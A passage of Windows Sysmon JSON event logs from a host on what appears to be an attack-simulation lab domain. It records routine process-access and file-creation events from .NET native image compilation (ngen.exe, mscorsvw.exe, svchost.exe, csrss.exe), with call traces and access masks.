C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:20.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4344-5F2D-0000-001059121100}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:20.322\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431D-5F2D-0000-00102DFF0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:20.322","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431D-5F2D-0000-00102DFF0F00}","TargetProcessId":"4372","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:20.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431D-5F2D-0000-00102DFF0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:20.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431D-5F2D-0000-00102DFF0F00}","TargetProcessId":"4372","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:20.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431D-5F2D-0000-00102DFF0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:20.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431D-5F2D-0000-00102DFF0F00}","TargetProcessId":"4372","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8269,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:21.057\r\nProcessGuid: {90617006-4344-5F2D-0000-0010A9151100}\r\nProcessId: 4372\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1114-0\\System.Drawing.dll\r\nCreationUtcTime: 2020-08-07 12:04:21.057","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:21.057","ProcessGuid":"{90617006-4344-5F2D-0000-0010A9151100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1114-0\\System.Drawing.dll","CreationUtcTime":"2020-08-07 12:04:21.057","EventReceivedTime":"2020-08-07 12:04:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8270,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:21.119\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4345-5F2D-0000-001066191100}\r\nTargetProcessId: 5104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:21.119","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4345-5F2D-0000-001066191100}","TargetProcessId":"5104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8271,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:21.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4345-5F2D-0000-001066191100}\r\nTargetProcessId: 5104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:21.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4345-5F2D-0000-001066191100}","TargetProcessId":"5104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8272,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:21.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4345-5F2D-0000-001066191100}\r\nTargetProcessId: 5104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:21.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4345-5F2D-0000-001066191100}","TargetProcessId":"5104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:21.385\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4345-5F2D-0000-0010641D1100}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 